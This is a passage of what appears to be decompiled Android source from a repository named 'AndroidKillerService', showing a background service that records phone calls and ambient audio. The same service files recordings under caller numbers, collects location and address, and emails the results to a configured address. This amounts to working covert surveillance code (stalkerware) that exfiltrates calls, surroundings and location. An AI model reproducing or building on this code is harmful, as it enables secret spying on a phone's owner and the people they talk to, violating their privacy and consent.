217 | OtherOperatorService.uploadEmail(str, str2, str3, str4, str5, new String[]{useremail}, subject, "录音文件不存在,本次环境录音未成功");
218 | }
219 | } else {
220 | PhoneServicebak.this.file = new File(PhoneServicebak.this.filedir, "phone.txt");
221 | if (PhoneServicebak.this.file.exists()) {
222 | PhoneServicebak.this.file.delete();
223 | PhoneServicebak.this.file = new File(PhoneServicebak.this.filedir, "phone.txt");
224 | }
225 | OtherOperatorService.txtFileSave(PhoneServicebak.this.file, "0" + content);
226 | }
227 | PhoneServicebak.this.startTime = 0;
228 | PhoneServicebak.this.file = null;
229 | PhoneServicebak.this.filedir = null;
230 | PhoneServicebak.this.path = null;
231 | PhoneServicebak.this.phoneNumber = null;
232 | PhoneServicebak.this.outphoneNumber = null;
233 | PhoneServicebak.this.pName = null;
234 | PhoneServicebak.this.isRecord = false;
235 | PhoneServicebak.this.isPath = false;
236 | } catch (InterruptedException e) {
237 | e.printStackTrace();
238 | }
239 | }
240 | }).start();
241 | }
242 | return Service.START_STICKY;
243 | }
244 |
245 | public void startRecording() {
246 | if (this.paras.isTonghualuyin()) {
247 | try {
248 | mediaRecorder = new MediaRecorder();
249 | mediaRecorder.setAudioSource(4);
250 | mediaRecorder.setAudioSamplingRate(16000);
251 | mediaRecorder.setOutputFormat(3);
252 | mediaRecorder.setAudioEncoder(1);
253 | mediaRecorder.setOutputFile(this.file.getAbsolutePath());
254 | mediaRecorder.prepare();
255 | mediaRecorder.start();
256 | this.isRecord = true;
257 | } catch (Exception e) {
258 | this.isRecord = false;
259 | mediaRecorder.reset();
260 | mediaRecorder.release();
261 | mediaRecorder = null;
262 | }
263 | }
264 | }
265 |
266 | public String getNowState() {
267 | String temp = "";
268 | if (this.huanjingluyinFlag) {
269 | return "环录:" + this.outphoneNumber + "分钟";
270 | }
271 | if (this.incomingFlag) {
272 | return "来电:" + this.incoming_number;
273 | }
274 | return "去电:" + this.outphoneNumber;
275 | }
276 |
277 | public void getUserLocation() {
278 | double tempj = Location.getLocation().getLongitude();
279 | String temps = new StringBuilder(String.valueOf(tempj)).append(",").append(Location.getLocation().getLatitude()).toString();
280 | this.baiduMap = "";
281 | this.addr = Location.getLocation().getAddr();
282 | if (this.addr == null) {
283 | this.addr = "位置信息不明";
284 | }
285 | String temppoi = Location.getLocation().getPoiStr();
286 | if (temppoi == null) {
287 | this.poiString = "位置周边信息不明";
288 | } else {
289 | this.poiString = OtherOperatorService.getSubstring(temppoi);
290 | }
291 | }
292 |
293 | public void sendTongZhi(String useremail, String temp) {
294 | if (!OtherOperatorService.isReg(this.paras.getUserEmail(), this.paras.getShoujiImei(), this.zcps.getString("zhucema", ""))) {
295 | OtherOperatorService.showNotisfy(getApplicationContext(), R.drawable.mytp, "温馨提示:你刚才的电话记录已为你备份至" + useremail + "邮箱", "温馨提示", new StringBuilder(String.valueOf(temp)).append("记录已为你备份至").append(useremail).append("邮箱").toString());
296 | }
297 | }
298 |
299 | public void stopRecording() {
300 | try {
301 | mediaRecorder.stop();
302 | mediaRecorder.release();
303 | } catch (Exception e) {
304 | e.printStackTrace();
305 | }
306 | mediaRecorder = null;
307 | this.isRecord = false;
308 | }
309 |
310 | public void readyFile() {
311 | this.path = OtherOperatorService.setJtingPath(getApplicationContext());
312 | this.startTime = System.currentTimeMillis();
313 | if (this.path != null) {
314 | this.filedir = new File(this.path);
315 | if (!this.filedir.exists()) {
316 | this.filedir.mkdir();
317 | }
318 | if (this.incomingFlag) {
319 | this.phoneNumber = "laidian" + this.incoming_number + "_" + this.startTime + ".amr";
320 | } else if (this.huanjingluyinFlag) {
321 | this.phoneNumber = "hjluyin" + this.outphoneNumber + "_" + this.startTime + ".amr";
322 | } else {
323 | this.phoneNumber = "qudian" + this.outphoneNumber + "_" + this.startTime + ".amr";
324 | }
325 | this.file = new File(this.filedir, this.phoneNumber);
326 | this.isPath = true;
327 | }
328 | }
329 |
330 | public void onCreate() {
331 | super.onCreate();
332 | Log.i("111", "service线程:" + Thread.currentThread().getId());
333 | }
334 | }
335 |
336 |
--------------------------------------------------------------------------------
/app/src/main/jniLibs/armeabi/liblocSDK4.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/JamesLiAndroid/AndroidKillerService/9d075a2782f2f2833cb441b83a5b88361918434b/app/src/main/jniLibs/armeabi/liblocSDK4.so
--------------------------------------------------------------------------------
/app/src/main/res/drawable/mytp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/JamesLiAndroid/AndroidKillerService/9d075a2782f2f2833cb441b83a5b88361918434b/app/src/main/res/drawable/mytp.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/start.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/JamesLiAndroid/AndroidKillerService/9d075a2782f2f2833cb441b83a5b88361918434b/app/src/main/res/drawable/start.png
--------------------------------------------------------------------------------
/app/src/main/res/layout/activity_help.xml:
--------------------------------------------------------------------------------
1 |
2 |